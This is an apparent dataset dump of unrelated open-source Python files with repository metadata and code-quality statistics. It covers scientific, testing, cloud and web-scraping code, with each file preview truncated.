fe386cfff450389a866b20311a82232a01ea11d1 | 282 | py | Python | data/operator/bbox/spatial/normalize.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 143 | 2021-12-03T02:33:36.000Z | 2022-03-29T00:01:48.000Z | data/operator/bbox/spatial/normalize.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 33 | 2021-12-03T10:32:05.000Z | 2022-03-31T02:13:55.000Z | data/operator/bbox/spatial/normalize.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 24 | 2021-12-04T06:46:42.000Z | 2022-03-30T07:57:47.000Z | def bbox_normalize(bbox, image_size):
return tuple(v / image_size[0] if i % 2 == 0 else v / image_size[1] for i, v in enumerate(bbox))
def bbox_denormalize(bbox, image_size):
return tuple(v * image_size[0] if i % 2 == 0 else v * image_size[1] for i, v in enumerate(bbox))
| 40.285714 | 100 | 0.680851 | 54 | 282 | 3.407407 | 0.333333 | 0.293478 | 0.217391 | 0.206522 | 0.815217 | 0.815217 | 0.815217 | 0.815217 | 0.815217 | 0.815217 | 0 | 0.035088 | 0.191489 | 282 | 6 | 101 | 47 | 0.77193 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 13 |
22980b89ef09f9aad8d7b614611af3bbb6db5e3b | 6,864 | py | Python | test/test_pprint.py | mikeAdamss/xypath | 688aedc59794c4e18ed65335c83df35e3417be24 | [
"BSD-2-Clause"
] | 16 | 2017-03-02T13:47:16.000Z | 2021-11-19T21:43:26.000Z | test/test_pprint.py | mikeAdamss/xypath | 688aedc59794c4e18ed65335c83df35e3417be24 | [
"BSD-2-Clause"
] | 17 | 2015-01-09T16:03:43.000Z | 2016-09-26T11:09:00.000Z | test/test_pprint.py | mikeAdamss/xypath | 688aedc59794c4e18ed65335c83df35e3417be24 | [
"BSD-2-Clause"
] | 4 | 2015-04-23T00:10:44.000Z | 2016-06-13T07:42:56.000Z | from __future__ import absolute_import
import tcore
import xypath
from textwrap import dedent
from io import StringIO
class TestPPrint(tcore.TCore):
def test_pprint(self):
"""
test_pprint: basic check of pprint output against hard-coded string
"""
EXPECTED_TABLE = dedent('''
... | 34.666667 | 79 | 0.488782 | 664 | 6,864 | 4.945783 | 0.180723 | 0.05542 | 0.040499 | 0.042631 | 0.861449 | 0.830694 | 0.804202 | 0.804202 | 0.784714 | 0.773752 | 0 | 0.064789 | 0.415355 | 6,864 | 197 | 80 | 34.84264 | 0.753551 | 0.155886 | 0 | 0.818182 | 0 | 0 | 0.523835 | 0.026681 | 0 | 0 | 0 | 0 | 0.068182 | 1 | 0.05303 | false | 0 | 0.037879 | 0 | 0.098485 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
22cb8a34c105ce9788f463bc957d843b02359595 | 6,037 | py | Python | test/main_test.py | PawanRamaMali/audiojack-api | 0e4c53718a7ba228e1d2715396806569fba77f5e | [
"MIT"
] | null | null | null | test/main_test.py | PawanRamaMali/audiojack-api | 0e4c53718a7ba228e1d2715396806569fba77f5e | [
"MIT"
] | null | null | null | test/main_test.py | PawanRamaMali/audiojack-api | 0e4c53718a7ba228e1d2715396806569fba77f5e | [
"MIT"
] | null | null | null | from fastapi.testclient import TestClient
from main import app
import logging
client = TestClient(app)
# ------------------ Tests for Songs -------------------------- #
def test_get_song_nonexisting():
response = client.get("/get/Song/1")
assert response.status_code == 400
def test_delete_song_nonexisti... | 27.193694 | 67 | 0.524267 | 597 | 6,037 | 5.170854 | 0.140704 | 0.117914 | 0.123097 | 0.147716 | 0.873988 | 0.810496 | 0.810496 | 0.772919 | 0.704244 | 0.674765 | 0 | 0.091834 | 0.316382 | 6,037 | 221 | 68 | 27.316742 | 0.656167 | 0.020871 | 0 | 0.702247 | 0 | 0 | 0.261518 | 0.09248 | 0 | 0 | 0 | 0 | 0.146067 | 1 | 0.106742 | false | 0 | 0.016854 | 0 | 0.123596 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
22d40707cdbead43c67ffceaf6c297449af5c883 | 150,217 | py | Python | lang/python/github/com/metaprov/modelaapi/pkg/apis/catalog/v1alpha1/generated_pb2.py | metaprov/modelaapi | 64ab493dd73329196235e15776e5177c72281990 | [
"Apache-2.0"
] | 5 | 2022-02-18T03:40:10.000Z | 2022-03-01T16:11:24.000Z | lang/python/github/com/metaprov/modelaapi/pkg/apis/catalog/v1alpha1/generated_pb2.py | metaprov/modelaapi | 64ab493dd73329196235e15776e5177c72281990 | [
"Apache-2.0"
] | 1 | 2022-01-07T19:59:25.000Z | 2022-02-04T01:21:14.000Z | lang/python/github/com/metaprov/modelaapi/pkg/apis/catalog/v1alpha1/generated_pb2.py | metaprov/modelaapi | 64ab493dd73329196235e15776e5177c72281990 | [
"Apache-2.0"
] | 1 | 2022-03-25T10:21:43.000Z | 2022-03-25T10:21:43.000Z | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: github.com/metaprov/modelaapi/pkg/apis/catalog/v1alpha1/generated.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.pro... | 50.697604 | 12,517 | 0.770259 | 19,174 | 150,217 | 5.742672 | 0.034213 | 0.042358 | 0.065752 | 0.075615 | 0.831014 | 0.80742 | 0.801008 | 0.794251 | 0.792716 | 0.779139 | 0 | 0.037389 | 0.104589 | 150,217 | 2,962 | 12,518 | 50.71472 | 0.781237 | 0.037026 | 0 | 0.718284 | 1 | 0.001091 | 0.269378 | 0.231576 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.003635 | 0 | 0.003635 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a3afd7f341b543dc17d1d864a688fe1a8b511c75 | 20,893 | py | Python | server/tests/test_google_api_ruby_client.py | cclauss/discovery-artifact-manager | 9eb6bcef290ef87006758349c725d440fbfc85d6 | [
"Apache-2.0"
] | 38 | 2017-07-20T17:54:08.000Z | 2022-02-20T02:16:31.000Z | server/tests/test_google_api_ruby_client.py | cclauss/discovery-artifact-manager | 9eb6bcef290ef87006758349c725d440fbfc85d6 | [
"Apache-2.0"
] | 183 | 2017-03-23T17:17:24.000Z | 2022-02-09T00:07:17.000Z | server/tests/test_google_api_ruby_client.py | cclauss/discovery-artifact-manager | 9eb6bcef290ef87006758349c725d440fbfc85d6 | [
"Apache-2.0"
] | 42 | 2017-03-23T19:20:20.000Z | 2022-02-20T02:17:09.000Z | # Copyright 2017, Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | 46.950562 | 79 | 0.61389 | 2,599 | 20,893 | 4.595614 | 0.085417 | 0.061035 | 0.078366 | 0.114534 | 0.903969 | 0.900871 | 0.894675 | 0.891829 | 0.883707 | 0.879102 | 0 | 0.01296 | 0.253961 | 20,893 | 444 | 80 | 47.056306 | 0.75332 | 0.033217 | 0 | 0.807595 | 0 | 0 | 0.258584 | 0.1475 | 0 | 0 | 0 | 0 | 0.025316 | 1 | 0.020253 | false | 0 | 0.010127 | 0 | 0.03038 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a3d26d3d6a3b64d3fbb4d9e690a0dd065c201e2b | 2,033 | py | Python | Python_Assistant/PyAssist/lookup.py | GeekyShiva/PyAssist | a8761cfcd8344771e7e1bfab469ed3e49f12adda | [
"MIT"
] | null | null | null | Python_Assistant/PyAssist/lookup.py | GeekyShiva/PyAssist | a8761cfcd8344771e7e1bfab469ed3e49f12adda | [
"MIT"
] | null | null | null | Python_Assistant/PyAssist/lookup.py | GeekyShiva/PyAssist | a8761cfcd8344771e7e1bfab469ed3e49f12adda | [
"MIT"
] | 1 | 2020-08-17T15:01:43.000Z | 2020-08-17T15:01:43.000Z | def lookup(input):
import wikipedia
from findpic import imgLookup
from espeak import espeak
if input.startswith('look up'):
wikiLookUp = input[7:]
print "Searched for: "+wikiLookUp
espeak.synth("Searched for: "+wikiLookUp)
print 'Results from wikipedia:'
print wik... | 35.666667 | 58 | 0.598131 | 205 | 2,033 | 5.931707 | 0.170732 | 0.144737 | 0.241776 | 0.144737 | 0.770559 | 0.770559 | 0.743421 | 0.743421 | 0.743421 | 0.743421 | 0 | 0.015939 | 0.290212 | 2,033 | 56 | 59 | 36.303571 | 0.82675 | 0 | 0 | 0.615385 | 0 | 0 | 0.147565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.057692 | null | null | 0.326923 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a3dc047950348d212cb49f2f4d3d895a2f0cfa14 | 2,282 | py | Python | feebb/test_sub.py | rbn920/feebb | b2ae340052122e43b812af1a36ae1128405f0220 | [
"MIT"
] | null | null | null | feebb/test_sub.py | rbn920/feebb | b2ae340052122e43b812af1a36ae1128405f0220 | [
"MIT"
] | null | null | null | feebb/test_sub.py | rbn920/feebb | b2ae340052122e43b812af1a36ae1128405f0220 | [
"MIT"
] | 1 | 2021-02-09T17:22:16.000Z | 2021-02-09T17:22:16.000Z | from feebb import *
import matplotlib.pyplot as plt
import itertools
# Beam 1
pre = Preprocessor()
pre.load_json('ex_json/test2.json')
elems = [Element(elem) for elem in pre.elements]
print(pre.supports)
beam = Beam(elems, pre.supports)
post = Postprocessor(beam, 10)
print(max(post.interp('moment')))
print(min(post.in... | 29.25641 | 63 | 0.741017 | 345 | 2,282 | 4.826087 | 0.136232 | 0.144144 | 0.115315 | 0.086486 | 0.917718 | 0.911111 | 0.896096 | 0.896096 | 0.841441 | 0.794595 | 0 | 0.010053 | 0.084575 | 2,282 | 77 | 64 | 29.636364 | 0.786979 | 0.024978 | 0 | 0.867647 | 0 | 0 | 0.091441 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.044118 | 0 | 0.044118 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4a4c2ff26ec1ce6b388df35e605e4dad5c197ad4 | 846 | py | Python | exercicios033.py | Capcode98/exercicios-PYTHON3-MUNDO1 | c3d186dba25274a72ec347320e2376ac8f8f9b1f | [
"MIT"
] | null | null | null | exercicios033.py | Capcode98/exercicios-PYTHON3-MUNDO1 | c3d186dba25274a72ec347320e2376ac8f8f9b1f | [
"MIT"
] | null | null | null | exercicios033.py | Capcode98/exercicios-PYTHON3-MUNDO1 | c3d186dba25274a72ec347320e2376ac8f8f9b1f | [
"MIT"
] | null | null | null | a = float(input('qual o primeiro numero? '))
b = float(input('qual o segundo numero? '))
c = float(input('qual o terceiro numero? '))
if a > b and a > c:
print('o numero {} é o maior de todos '.format(a))
if b > a and b > c:
print('o numero {} é o maior de todos '.format(b))
if c > b and c > a:
print('o num... | 40.285714 | 54 | 0.562648 | 180 | 846 | 2.644444 | 0.127778 | 0.113445 | 0.226891 | 0.245798 | 0.798319 | 0.798319 | 0.798319 | 0.798319 | 0.731092 | 0.659664 | 0 | 0 | 0.274232 | 846 | 21 | 55 | 40.285714 | 0.775244 | 0 | 0 | 0 | 0 | 0 | 0.390791 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 8 |
434a3dc38dafb5e565acc8877b24b21366708a9d | 3,120 | py | Python | pkgs/conf-pkg/src/genie/libs/conf/routing/iosxe/tests/test_routing.py | jbronikowski/genielibs | 200a34e5fe4838a27b5a80d5973651b2e34ccafb | [
"Apache-2.0"
] | 94 | 2018-04-30T20:29:15.000Z | 2022-03-29T13:40:31.000Z | pkgs/conf-pkg/src/genie/libs/conf/routing/iosxe/tests/test_routing.py | jbronikowski/genielibs | 200a34e5fe4838a27b5a80d5973651b2e34ccafb | [
"Apache-2.0"
] | 67 | 2018-12-06T21:08:09.000Z | 2022-03-29T18:00:46.000Z | pkgs/conf-pkg/src/genie/libs/conf/routing/iosxe/tests/test_routing.py | jbronikowski/genielibs | 200a34e5fe4838a27b5a80d5973651b2e34ccafb | [
"Apache-2.0"
] | 49 | 2018-06-29T18:59:03.000Z | 2022-03-10T02:07:59.000Z | #!/usr/bin/env python
# Python
import unittest
from unittest.mock import Mock
# Genie package
from genie.conf import Genie
from genie.tests.conf import TestCase
from genie.conf.base import Testbed, Device
# Genie Conf
from genie.libs.conf.routing import Routing
class test_routing(TestCase):
def test_full(self... | 25.16129 | 69 | 0.565385 | 316 | 3,120 | 5.490506 | 0.199367 | 0.072622 | 0.051873 | 0.072622 | 0.803458 | 0.803458 | 0.803458 | 0.803458 | 0.803458 | 0.803458 | 0 | 0.012083 | 0.336859 | 3,120 | 123 | 70 | 25.365854 | 0.826486 | 0.157051 | 0 | 0.779412 | 0 | 0 | 0.067562 | 0 | 0 | 0 | 0 | 0 | 0.088235 | 1 | 0.044118 | false | 0 | 0.088235 | 0 | 0.147059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
43a329d01849829f2358d7be10147f55a9396f2b | 8,574 | py | Python | kuryr_kubernetes/tests/unit/controller/drivers/test_nested_dpdk.py | MaysaMacedo/kuryr-kubernetes-1 | e4ba3896974e98dc46cb1afd9cbec42646250d72 | [
"Apache-2.0"
] | null | null | null | kuryr_kubernetes/tests/unit/controller/drivers/test_nested_dpdk.py | MaysaMacedo/kuryr-kubernetes-1 | e4ba3896974e98dc46cb1afd9cbec42646250d72 | [
"Apache-2.0"
] | null | null | null | kuryr_kubernetes/tests/unit/controller/drivers/test_nested_dpdk.py | MaysaMacedo/kuryr-kubernetes-1 | e4ba3896974e98dc46cb1afd9cbec42646250d72 | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2020 Intel Corporation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless req... | 37.605263 | 78 | 0.691393 | 1,158 | 8,574 | 4.752159 | 0.131261 | 0.074141 | 0.045793 | 0.050881 | 0.815192 | 0.794294 | 0.781029 | 0.757223 | 0.751408 | 0.737779 | 0 | 0.001212 | 0.230464 | 8,574 | 227 | 79 | 37.770925 | 0.832828 | 0.070795 | 0 | 0.797619 | 0 | 0 | 0.041499 | 0.041499 | 0 | 0 | 0 | 0 | 0.160714 | 1 | 0.041667 | false | 0 | 0.035714 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
43aab7e1ab13649bf8b4a49237ed5a80f051fa41 | 198 | py | Python | Trabalho/trab_SD/pubSub/pois.py | Digas-2/trab_sd | 7d9f62143e7a0a844e9a5e4d19655ef0f61b7b36 | [
"Apache-2.0"
] | null | null | null | Trabalho/trab_SD/pubSub/pois.py | Digas-2/trab_sd | 7d9f62143e7a0a844e9a5e4d19655ef0f61b7b36 | [
"Apache-2.0"
] | null | null | null | Trabalho/trab_SD/pubSub/pois.py | Digas-2/trab_sd | 7d9f62143e7a0a844e9a5e4d19655ef0f61b7b36 | [
"Apache-2.0"
] | null | null | null | import math
import random
def nextTime(rateParameter):
return -math.log(1.0 - random.random()) / rateParameter
def PoisTime(n_events,time_interval):
return nextTime(n_events/time_interval) | 24.75 | 59 | 0.772727 | 27 | 198 | 5.518519 | 0.555556 | 0.09396 | 0.147651 | 0.255034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011561 | 0.126263 | 198 | 8 | 60 | 24.75 | 0.849711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
43b4a3db5773090f9e78a700e8eccbfcdb3d6463 | 25,860 | py | Python | ec2_compare/internal/bare_metal/true.py | weldpua2008/aws.ec2.compare | 5149fc4c7cb42f4d7df1930ed8a06750155fe578 | [
"Apache-2.0"
] | null | null | null | ec2_compare/internal/bare_metal/true.py | weldpua2008/aws.ec2.compare | 5149fc4c7cb42f4d7df1930ed8a06750155fe578 | [
"Apache-2.0"
] | null | null | null | ec2_compare/internal/bare_metal/true.py | weldpua2008/aws.ec2.compare | 5149fc4c7cb42f4d7df1930ed8a06750155fe578 | [
"Apache-2.0"
] | 1 | 2021-12-15T11:58:22.000Z | 2021-12-15T11:58:22.000Z |
# Automatically generated
# pylint: disable=all
get = [{'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4Addres... | 2,155 | 25,671 | 0.736272 | 1,904 | 25,860 | 9.987395 | 0.068277 | 0.049222 | 0.081405 | 0.098443 | 0.982594 | 0.97013 | 0.969499 | 0.964872 | 0.964872 | 0.948359 | 0 | 0.045612 | 0.070804 | 25,860 | 11 | 25,672 | 2,350.909091 | 0.745766 | 0.004872 | 0 | 0 | 1 | 0 | 0.676839 | 0.267299 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 12 |
43d5272215299d8dc0ce8fc8524389ef215e8b88 | 59,228 | py | Python | TEST3D/GUI/0011213_page_bc/log.py | usnistgov/OOF3D | 4fd423a48aea9c5dc207520f02de53ae184be74c | [
"X11"
] | 31 | 2015-04-01T15:59:36.000Z | 2022-03-18T20:21:47.000Z | TEST3D/GUI/0011213_page_bc/log.py | usnistgov/OOF3D | 4fd423a48aea9c5dc207520f02de53ae184be74c | [
"X11"
] | 3 | 2015-02-06T19:30:24.000Z | 2017-05-25T14:14:31.000Z | TEST3D/GUI/0011213_page_bc/log.py | usnistgov/OOF3D | 4fd423a48aea9c5dc207520f02de53ae184be74c | [
"X11"
] | 7 | 2015-01-23T15:19:22.000Z | 2021-06-09T09:03:59.000Z | # -*- python -*-
# This software was produced by NIST, an agency of the U.S. government,
# and by statute is not subject to copyright in the United States.
# Recipients of this software assume all responsibilities associated
# with its operation, modification and maintenance. However, to
# facilitate maintenance we as... | 51.592334 | 1,587 | 0.842591 | 7,146 | 59,228 | 6.950742 | 0.035264 | 0.168311 | 0.186028 | 0.163841 | 0.925287 | 0.917073 | 0.910026 | 0.906624 | 0.903684 | 0.899779 | 0 | 0.018899 | 0.079844 | 59,228 | 1,147 | 1,588 | 51.637315 | 0.892493 | 0.00883 | 0 | 0.884378 | 0 | 0 | 0.318942 | 0.105701 | 0 | 0 | 0 | 0 | 0.00353 | 0 | null | null | 0 | 0.000883 | null | null | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
6009f744708202d32c62af83a116f57632df0a81 | 178 | py | Python | resources/Hello.py | ruanpato/flaskRestfulAPI | 1c9611a00ccdfcb519e3378a112c28d3e4f8dcce | [
"MIT"
] | null | null | null | resources/Hello.py | ruanpato/flaskRestfulAPI | 1c9611a00ccdfcb519e3378a112c28d3e4f8dcce | [
"MIT"
] | 2 | 2020-01-28T13:23:58.000Z | 2020-01-28T13:26:04.000Z | resources/Hello.py | ruanpato/flaskRestfulAPI | 1c9611a00ccdfcb519e3378a112c28d3e4f8dcce | [
"MIT"
] | 2 | 2020-01-28T13:23:25.000Z | 2020-01-28T14:32:22.000Z | from flask_restful import Resource
class Hello(Resource):
def get():
return {"message": "Hello, World!"}
def post():
return {"message": "Hello, World!"} | 22.25 | 43 | 0.606742 | 20 | 178 | 5.35 | 0.65 | 0.242991 | 0.336449 | 0.429907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.241573 | 178 | 8 | 44 | 22.25 | 0.792593 | 0 | 0 | 0.333333 | 0 | 0 | 0.223464 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.166667 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 9 |
60210011a8666b59f5803940b9ea510ff7afa5e7 | 120,171 | py | Python | idaes/core/tests/test_control_volume_1d.py | dangunter/idaes-pse | 8f63b4ad8000af8a3eb0316a5f61c32e206925d0 | [
"RSA-MD"
] | null | null | null | idaes/core/tests/test_control_volume_1d.py | dangunter/idaes-pse | 8f63b4ad8000af8a3eb0316a5f61c32e206925d0 | [
"RSA-MD"
] | null | null | null | idaes/core/tests/test_control_volume_1d.py | dangunter/idaes-pse | 8f63b4ad8000af8a3eb0316a5f61c32e206925d0 | [
"RSA-MD"
] | null | null | null | #################################################################################
# The Institute for the Design of Advanced Energy Systems Integrated Platform
# Framework (IDAES IP) was produced under the DOE Institute for the
# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021
# by the softwar... | 35.925561 | 81 | 0.653336 | 14,896 | 120,171 | 5.043569 | 0.024235 | 0.063411 | 0.051977 | 0.042913 | 0.954997 | 0.951257 | 0.942046 | 0.929029 | 0.912324 | 0.898455 | 0 | 0.00653 | 0.212472 | 120,171 | 3,344 | 82 | 35.936304 | 0.787326 | 0.02935 | 0 | 0.861834 | 0 | 0 | 0.147237 | 0.067562 | 0 | 0 | 0 | 0 | 0.116139 | 1 | 0.059672 | false | 0 | 0.004806 | 0.007609 | 0.072887 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
606a39fc486ac3e25bc8fcca5c8447b379141abf | 21,401 | py | Python | common/migrations/0001_initial.py | Jenks18/mfl_api | ecbb8954053be06bbcac7e1132811d73534c78d9 | [
"MIT"
] | 19 | 2015-04-16T09:37:08.000Z | 2022-02-10T11:50:30.000Z | common/migrations/0001_initial.py | Jenks18/mfl_api | ecbb8954053be06bbcac7e1132811d73534c78d9 | [
"MIT"
] | 125 | 2015-03-26T14:05:49.000Z | 2020-05-14T08:16:50.000Z | common/migrations/0001_initial.py | Jenks18/mfl_api | ecbb8954053be06bbcac7e1132811d73534c78d9 | [
"MIT"
] | 39 | 2015-04-15T09:17:33.000Z | 2022-03-28T18:08:16.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import common.models.base
import django.db.models.deletion
import common.models.model_declarations
import django.utils.timezone
from django.conf import settings
import common.fields
import uuid
class Migration(mi... | 67.939683 | 218 | 0.62941 | 2,302 | 21,401 | 5.698523 | 0.079931 | 0.042689 | 0.034152 | 0.053667 | 0.864995 | 0.851959 | 0.824745 | 0.824745 | 0.824745 | 0.824745 | 0 | 0.005052 | 0.232326 | 21,401 | 314 | 219 | 68.156051 | 0.793414 | 0.000981 | 0 | 0.772727 | 0 | 0.003247 | 0.181495 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.029221 | 0 | 0.038961 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
608d25f2a8f2b2c946ba00dacdd868f4bba234c8 | 8,684 | py | Python | douban_movie/douban_movie/pipelines.py | ShihaoYing/douban250 | abbe18b9c2cd4b0b4b5b128d79ac9ca949feaebc | [
"BSD-2-Clause"
] | null | null | null | douban_movie/douban_movie/pipelines.py | ShihaoYing/douban250 | abbe18b9c2cd4b0b4b5b128d79ac9ca949feaebc | [
"BSD-2-Clause"
] | null | null | null | douban_movie/douban_movie/pipelines.py | ShihaoYing/douban250 | abbe18b9c2cd4b0b4b5b128d79ac9ca949feaebc | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
from scrapy import signals
import json
import codecs
from twisted.enterprise import adbapi
from datetime import datetime
from ... | 35.590164 | 87 | 0.63427 | 1,088 | 8,684 | 4.899816 | 0.096507 | 0.099043 | 0.053648 | 0.070156 | 0.810167 | 0.810167 | 0.810167 | 0.810167 | 0.810167 | 0.810167 | 0 | 0.025607 | 0.217526 | 8,684 | 243 | 88 | 35.736626 | 0.75894 | 0.02257 | 0 | 0.754902 | 0 | 0 | 0.093958 | 0.073026 | 0 | 0 | 0 | 0 | 0 | 1 | 0.323529 | false | 0 | 0.029412 | 0 | 0.568627 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 9 |
60a8beb5b9e97782258e868142d32c50e1260e96 | 241 | py | Python | src/sandbox/runner_errors.py | ospiper/Sandbox-Runner | d6a463fa7744ea2a88553eef197b6f8a9f4d91f0 | [
"MIT"
] | null | null | null | src/sandbox/runner_errors.py | ospiper/Sandbox-Runner | d6a463fa7744ea2a88553eef197b6f8a9f4d91f0 | [
"MIT"
